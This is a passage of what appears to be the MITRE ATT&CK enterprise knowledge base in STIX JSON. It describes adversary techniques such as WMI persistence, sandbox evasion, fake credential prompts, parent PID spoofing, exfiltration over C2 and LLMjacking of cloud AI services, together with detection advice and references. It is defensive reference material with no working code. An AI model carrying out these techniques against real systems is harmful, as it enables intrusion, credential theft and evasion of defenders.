2023.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"},{"source_name":"NPPSPY Video","description":"Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023.","url":"https://www.youtube.com/watch?v=ggY3srD9dYs"},{"source_name":"NPPSPY","description":"Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023.","url":"https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy"},{"source_name":"Network Provider API","description":"Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023.","url":"https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api"},{"source_name":"NPLogonNotify","description":"Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.","url":"https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-13T14:08:20.882Z","name":"Windows Management Instrumentation Event Subscription","description":"Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe` –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Brent Murphy, Elastic","David French, Elastic","Viren Chaudhari, Qualys"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["File: File Creation","Process: Process Creation","Command: Command Execution","WMI: WMI Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"type":"attack-pattern","id":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","created":"2020-01-24T14:07:56.276Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/003","external_id":"T1546.003"},{"source_name":"FireEye WMI 2015","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"},{"source_name":"Dell WMI Persistence","description":"Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.","url":"https://www.secureworks.com/blog/wmi-persistence"},{"source_name":"FireEye WMI SANS 2015","description":"Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"},{"source_name":"Medium Detecting WMI Persistence","description":"French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"},{"source_name":"Elastic - Hunting for Persistence Part 1","description":"French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.","url":"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"},{"source_name":"Mandiant M-Trends 2015","description":"Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"},{"source_name":"Microsoft Register-WmiEvent","description":"Microsoft. (n.d.). Retrieved January 24, 2020.","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"},{"source_name":"Microsoft MOF May 2018","description":"Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75","type":"attack-pattern","created":"2020-10-02T16:59:56.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.004","url":"https://attack.mitre.org/techniques/T1596/004"},{"source_name":"DigitalShadows CDN","url":"https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/","description":"Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:47:55.905Z","name":"CDNs","description":"Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:50:18.050Z","name":"User Activity Based Checks","description":"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Deloitte Threat Library Team"],"x_mitre_deprecated":false,"x_mitre_detection":"User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Anti-virus","Static File Analysis","Signature-based detection","Host forensic analysis"],"type":"attack-pattern","id":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","created":"2020-03-06T21:04:12.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1497/002","external_id":"T1497.002"},{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"},{"source_name":"Unit 42 Sofacy Nov 2018","description":"Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"},{"source_name":"Sans Virtual Jan 2016","description":"Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.","url":"https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667"},{"source_name":"Deloitte Environment Awareness","description":"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.","url":"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Molyett, @s1air, Cisco Talos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1141","url":"https://attack.mitre.org/techniques/T1141"},{"external_id":"CAPEC-569","source_name":"capec","url":"https://capec.mitre.org/data/definitions/569.html"},{"url":"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html","description":"Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.","source_name":"OSX Malware Exploits MacKeeper"},{"source_name":"LogRhythm Do You Trust Oct 2014","url":"https://logrhythm.com/blog/do-you-trust-your-computer/","description":"Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"},{"source_name":"Enigma Phishing for Credentials Jan 2015","url":"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/","description":"Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."}],"modified":"2020-02-12T16:34:06.412Z","name":"Input Prompt","description":"When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-16T17:59:27.535Z","name":"Cloud Service Hijacking","description":"Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. \n\nFor example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / [Phishing](https://attack.mitre.org/techniques/T1566) emails and SMS messages.(Citation: Invictus IR DangerDev 2024)(Citation: Permiso SES Abuse 2023)(Citation: SentinelLabs SNS Sender 2024) Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.(Citation: Sysdig LLMJacking 2024)(Citation: Lacework LLMJacking 2024)\n\nIn some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service.(Citation: Sysdig LLMJacking 2024) Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Cloud Service: Cloud Service Modification","Application Log: Application Log Content"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--924d273c-be0d-4d8d-af58-2dddb15ef1e2","created":"2024-09-25T14:05:59.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1496/004","external_id":"T1496.004"},{"source_name":"SentinelLabs SNS Sender 2024","description":"Alex Delamotte. (2024, February 15). SNS Sender | Active Campaigns Unleash Messaging Spam Through the Cloud. Retrieved September 25, 2024.","url":"https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/"},{"source_name":"Invictus IR DangerDev 2024","description":"Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.","url":"https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"},{"source_name":"Lacework LLMJacking 2024","description":"Lacework Labs. (2024, June 6). Detecting AI resource-hijacking with Composite Alerts. Retrieved September 25, 2024.","url":"https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"},{"source_name":"Sysdig LLMJacking 2024","description":"LLMjacking: Stolen Cloud Credentials Used in New AI Attack. (2024, May 6). Alessandro Brucato. Retrieved September 25, 2024.","url":"https://sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack/"},{"source_name":"Permiso SES Abuse 2023","description":"Nathan Eades. (2023, January 12). SES-pionage. Retrieved September 25, 2024.","url":"https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-25T15:49:14.785Z","name":"Cloud Accounts","description":"Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).","x_mitre_platforms":["PRE"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Francesco Bigarella"],"type":"attack-pattern","id":"attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5","created":"2022-05-27T14:06:05.130Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1585/003","external_id":"T1585.003"},{"source_name":"Awake Security C2 Cloud","description":"Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.","url":"https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:49:37.227Z","name":"Software Deployment Tools","description":"Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Shane Tully, @securitygypsy","Joe Gumke, U.S. Bank","Tamir Yehuda"],"x_mitre_deprecated":false,"x_mitre_detection":"Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network","SaaS"],"x_mitre_version":"3.1","x_mitre_data_sources":["Process: Process Creation","Application Log: Application Log Content"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","created":"2017-05-31T21:30:57.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1072","external_id":"T1072"},{"source_name":"Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation","description":"ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"},{"source_name":"SpecterOps Lateral Movement from Azure to On-Prem AD 2020","description":"Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.","url":"https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d"},{"source_name":"Mitiga Security Advisory: SSM Agent as Remote Access Trojan","description":"Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.","url":"https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-07T17:09:14.040Z","name":"Exfiltration Over C2 Channel","description":"Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["William Cain"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"2.2","x_mitre_data_sources":["Command: Command Execution","File: File Access","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_network_requirements":false,"type":"attack-pattern","id":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","created":"2017-05-31T21:30:41.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1041","external_id":"T1041"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wayne Silva, F-Secure Countercept"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","created":"2020-02-18T18:22:41.448Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1134.004","url":"https://attack.mitre.org/techniques/T1134/004"},{"source_name":"XPNSec PPID Nov 2017","url":"https://blog.xpnsec.com/becoming-system/","description":"Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019."},{"source_name":"CounterCept PPID Spoofing Dec 2018","url":"https://www.countercept.com/blog/detecting-parent-pid-spoofing/","description":"Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019."},{"source_name":"Microsoft UAC Nov 2018","url":"https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works","description":"Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019."},{"source_name":"Microsoft Process Creation Flags May 2018","url":"https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags","description":"Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."},{"source_name":"Secuirtyinbits Ataware3 May 2019","url":"https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3","description":"Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."},{"source_name":"DidierStevens SelectMyParent Nov 2009","url":"https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/","description":"Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019."},{"source_name":"CTD PPID Spoofing Macro Mar 2019","url":"https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/","description":"Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)","modified":"2022-05-03T02:15:42.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Parent PID Spoofing","x_mitre_detection":"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process 